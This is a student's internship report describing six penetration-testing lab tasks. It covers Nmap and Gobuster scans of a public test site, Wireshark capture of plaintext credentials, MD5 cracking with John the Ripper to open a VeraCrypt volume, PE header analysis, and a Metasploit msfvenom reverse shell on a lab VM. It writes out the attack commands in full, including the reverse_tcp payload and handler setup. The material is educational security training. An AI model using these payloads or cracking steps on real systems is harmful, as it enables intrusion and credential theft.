

Internship Final Report

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Major	Computer Science and Engineering
Internship Duration	May 1st, 2026 - May 31st, 2026
Company	InsightOps
Domain	Cyber Security
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Coordinator	Mr. Aakash

Objectives

The primary objectives of this internship were to:

- Develop a thorough understanding of core cybersecurity concepts including network security, vulnerability assessment, penetration testing, and cryptographic techniques.
- Gain practical, hands-on experience using industry-standard tools such as Nmap, Gobuster, Wireshark, Metasploit, John the Ripper, VeraCrypt, and PE Explorer.
- Strengthen the ability to identify, analyze, and exploit vulnerabilities in controlled environments to understand the attacker's perspective.
- Apply theoretical knowledge from academic studies to real-world cybersecurity scenarios involving web applications, network traffic, encrypted storage, and system exploitation.
- Build professional competencies in documentation, problem-solving, and ethical hacking practices relevant to a career in information security.

Tasks and Responsibilities

Over the course of the internship, I completed six assigned tasks spanning beginner and intermediate difficulty levels. Each task required systematic use of cybersecurity tools and methodologies as described below.

Task 1 (Beginner): Open Port Discovery on testasp.vulnweb.com

Objective: Identify all open ports and running services on the target web server to understand its attack surface.

Procedure:

1. Launched the Kali Linux terminal and ran an aggressive Nmap scan using the command: `nmap -A testasp.vulnweb.com`. The `-A` flag enables OS detection, version detection, script scanning, and traceroute simultaneously.
2. Reviewed the scan output to identify open ports. The results confirmed that port 80/tcp was open, running Microsoft IIS httpd 8.5, hosting the 'acuforum forums' web application. The TRACE HTTP method was also flagged as a potentially risky method by NSE scripts.
3. The scan further revealed that the host resolves to an AWS EC2 instance (ec2-44-238-29-244.us-west-2.compute.amazonaws.com), and the traceroute showed a single hop of 1.83 ms to the target.
4. This recon data was noted as the foundation for subsequent enumeration and exploitation tasks.

Result: Port 80 confirmed open running IIS 8.5 on a Windows server. Proof screenshot attached.

Task 2 (Beginner): Directory Brute-Forcing with Gobuster

Objective: Enumerate hidden directories and files on the target website to map out the web application structure.

Procedure:

5. Executed Gobuster in directory enumeration mode using the command: `gobuster dir -u http://testasp.vulnweb.com -w /usr/share/wordlists/dirb/common.txt`. The tool was configured to use 10 threads with a 10-second timeout.
6. Gobuster iterated through 4,613 words from the common.txt wordlist, making GET requests and checking HTTP response codes. Entries returning 404 were automatically filtered out.
7. The scan completed successfully and revealed several accessible directories including: `_vti_cnf`, `aspnet_client`, `avatars`, `cgi-bin`, `html`, `images`, `jscripsts`, `templates`, and a `robots.txt` file (HTTP 200).
8. The discovery of `cgi-bin` returning a 403 Forbidden and `robots.txt` being publicly accessible indicated potential information disclosure and misconfigurations worth further investigation.

Result: Multiple directories successfully enumerated. Proof screenshot attached.

Task 3 (Beginner): Network Traffic Interception and Credential Capture with Wireshark

Objective: Intercept live HTTP traffic during a login attempt on the target site and extract plaintext credentials from the captured packets.

Procedure:

9. Opened Wireshark and started a live capture on interface `eth0` to monitor all network traffic passing through the host machine.

10. Navigated to the login page at <http://testasp.vulnweb.com/Login.asp> in the browser and performed a login attempt using test credentials (username: test, password: test123). The site responded with 'Invalid login!' confirming the attempt was processed.
11. Applied the display filter `http.request.method == "POST"` in Wireshark to isolate only POST requests, which are the HTTP method used to submit login forms. Three POST packets were captured to the destination IP 44.238.29.244.
12. Followed the HTTP stream (Stream 13) of one POST packet to reconstruct the full HTTP conversation. The raw request body clearly revealed the submitted credentials in plaintext: `tfUName=test&tfUPass=test123`.
13. Additionally filtered by `tcp.stream eq 0` to observe the initial GET request and TCP handshake, understanding the session initiation from IP 10.0.2.15 to the server.

Result: Login credentials successfully captured in plaintext from unencrypted HTTP traffic. This demonstrates a critical risk of using HTTP over HTTPS for authentication. Proof screenshots attached.

Task 4 (Intermediate): Hash Decryption and VeraCrypt Volume Unlocking

Objective: Decode a hashed password from a provided file, use it to unlock a VeraCrypt-encrypted volume, and retrieve the hidden secret code.

Procedure:

14. Downloaded the provided drive folder containing the encoded.txt file and the VeraCrypt installer. The encoded.txt contained a hash value representing the volume password.
15. On Kali Linux, extracted the RockYou wordlist which is pre-installed in compressed form. Verified its presence in `/usr/share/wordlists/` after decompression. The `rockyou.txt` file serves as the dictionary for brute-force cracking.
16. Saved the hash from encoded.txt into a file named hash.txt. Ran John the Ripper with the command: `john hash.txt --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt`. John loaded 1 password hash in Raw-MD5 format.
17. John the Ripper successfully cracked the hash in under a second, revealing the plaintext password as: `password123`. The session was completed with a rate of 33.33 g/s and 51200 c/s.
18. Launched the VeraCrypt setup on a Windows virtual machine, mounted the provided encrypted container file, and entered 'password123' as the volume password. The container unlocked successfully.
19. Browsed the mounted VeraCrypt volume and opened the contained file (shadowfi), which revealed the secret code: 'The secret code is :- never giveup'.

Result: MD5 hash successfully cracked; VeraCrypt volume unlocked; secret code retrieved. Proof screenshots attached.

Task 5 (Intermediate): PE Header Analysis with PE Explorer

Objective: Perform static analysis on the VeraCrypt executable to identify its PE (Portable Executable) header properties, specifically the Address of Entry Point.

Procedure:

20. Downloaded the VeraCrypt setup executable (VeraCrypt Setup 1.26.7.exe) from the provided Google Drive link to the Windows virtual machine.
21. Opened PE Explorer on the Windows machine and loaded the VeraCrypt executable file for analysis.
22. Navigated to the Headers Info section within PE Explorer, which displays the complete COFF/PE header fields for the binary.
23. Identified and noted all key PE header values: Machine type i386 (0x014C), 5 sections, compiled on 30/09/2023, and an image size of 20402176 bytes (approximately 20 MB).
24. Located the Address of Entry Point field which displayed the value 004237B0h (hexadecimal). This is the virtual address where execution begins when the executable is loaded into memory by the Windows loader.
25. Took a screenshot of the PE Explorer Headers Info window with the Address of Entry Point row highlighted, confirming the value 004237B0h as the answer.

Result: Address of Entry Point identified as 004237B0h. Proof screenshot attached.

Task 6 (Intermediate): Reverse Shell via Metasploit Payload

Objective: Generate a malicious payload using Metasploit's msfvenom, deliver it to a Windows 11 virtual machine, and establish a Meterpreter reverse shell connection.

Procedure:

26. Set up a dual-VM lab environment: Kali Linux (attacker, IP: 192.168.56.104) and Windows 11 (victim, IP: 192.168.56.103) connected on a host-only network adapter.
27. On Kali Linux, started the Apache2 web server to serve the payload: checked its status with `service apache2 status`, found it inactive, and started it with `service apache2 start`. Verified the Apache default page was accessible by browsing to the local server IP.
28. Generated a Windows reverse shell payload using `msfvenom`: `msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.104 LPORT=4444 -f exe > shell.exe`. The payload was moved to `/var/www/html/` for delivery via Apache.
29. Launched Metasploit (`msfconsole`) and configured the multi/handler listener: `set payload windows/meterpreter/reverse_tcp`, `set LHOST 192.168.56.104`, `set LPORT 4444`, then ran `exploit`.
30. On the Windows 11 VM, downloaded and executed the payload (`shell.exe`) from the attacker's web server. Multiple connections were established as the payload was executed several times.
31. In Metasploit, verified active sessions using `sessions -l`. Six active Meterpreter sessions were displayed, all of type `x86/windows`, connecting from `Win11-VM\NITS @ WIN11-VM`.

32. Interacted with Session 1 using sessions -i 1, then typed shell to drop into a Windows command prompt. Ran whoami which returned win11-vm\nits, confirming successful remote access to the Windows 11 machine.

Result: Reverse shell successfully established on the Windows 11 VM; full command execution achieved. Proof screenshots attached.

Learning Outcomes

- **Hands-On Tool Proficiency:** Developed working proficiency with a range of industry-standard cybersecurity tools including Nmap for reconnaissance, Gobuster for web enumeration, Wireshark for traffic analysis, John the Ripper for password cracking, VeraCrypt for disk encryption, PE Explorer for binary analysis, and Metasploit for exploitation and post-exploitation.
- **Penetration Testing Methodology:** Gained a practical understanding of the ethical hacking lifecycle - from passive reconnaissance and active scanning through enumeration, exploitation, and post-exploitation. I learned how each phase builds upon the previous one to form a complete penetration test.
- **Understanding of Attack Vectors:** The tasks revealed how unencrypted HTTP exposes credentials, how weak/common passwords render encryption useless, how public-facing web directories can be enumerated, and how unsigned executables can serve as attack vectors.
- **Cryptography and Hash Analysis:** Learnt the distinction between different hash formats (MD5 in this case), how dictionary attacks exploit the deterministic nature of hashing, and why salting and strong password policies are non-negotiable in production environments.
- **Network and System Fundamentals:** Deepened understanding of TCP/IP stack behavior, HTTP request/response cycles, Windows PE executable structure, and inter-VM networking configurations.
- **Problem-Solving Under Constraints:** Many tasks involved initial failures (e.g., decompressing an already-decompressed wordlist, apache2 service not running) which taught methodical troubleshooting and resilience.

Challenges and Solutions

- **Challenge - Wordlist Decompression Error:** When attempting to decompress the RockYou wordlist, the command `gzip -d /usr/share/wordlists/rockyou.txt.gz` failed with 'No such file or directory', as the file had already been extracted in my installation of Kali. I resolved this by listing the directory contents (`ls /usr/share/wordlists/`) and confirming `rockyou.txt` was already present, then proceeding directly with John the Ripper.
- **Challenge - Apache2 Service Not Running:** The Apache2 web server was inactive by default, preventing payload delivery to the Windows VM. I used `service apache2`

status to diagnose the issue and service apache2 start to bring it online, then confirmed the default page was accessible before transferring the payload.

- **Challenge - Multiple Redundant Meterpreter Sessions:** Re-executing the payload on the Windows VM multiple times resulted in six simultaneous Meterpreter sessions opening, which could have complicated session management. I used sessions -l to list all active sessions and selectively interacted with Session 1 using sessions -i 1, learning the importance of disciplined payload delivery in real-world assessments.
- **Challenge - Understanding PE Header Fields:** PE Explorer presents a large number of header fields, and identifying the correct 'Address of Entry Point' among fields like Base of Code and Image Base required careful reading. I cross-referenced the PE format specification to confirm that the Address of Entry Point (004237B0h) is the virtual address of the first instruction executed upon loading, distinguishing it from other base addresses.
- **Challenge - Correlating Wireshark Streams to Login Events:** The live capture produced 667 packets. Identifying the correct POST packets among all traffic required applying targeted display filters (`http.request.method == "POST"`) and following individual TCP streams. This iterative filtering approach, combined with cross-referencing timestamps with browser activity, allowed precise identification of the credential-bearing packets.

Conclusion

This internship at InsightOps proved to be an exceptionally valuable experience that bridged the gap between academic knowledge and professional cybersecurity practice. Over the course of one month, I systematically worked through tasks covering the full spectrum of foundational penetration testing activities — from initial reconnaissance and directory enumeration to credential interception, cryptographic analysis, binary reverse engineering, and remote exploitation.

The structured progression from beginner to intermediate tasks ensured that each new challenge built upon the skills developed in the previous one. Completing these tasks not only improved my technical proficiency with tools such as Nmap, Wireshark, Metasploit, John the Ripper, and PE Explorer but also gave me a much deeper appreciation for how real-world attackers think and operate. Understanding the attacker's perspective is fundamental to building effective defenses.

Beyond technical skills, this internship strengthened my analytical thinking, documentation practices, and ability to troubleshoot complex issues under pressure. I am confident that the competencies developed during this period have laid a strong foundation for a career in cybersecurity, and I look forward to building upon this experience in future professional and academic endeavors.

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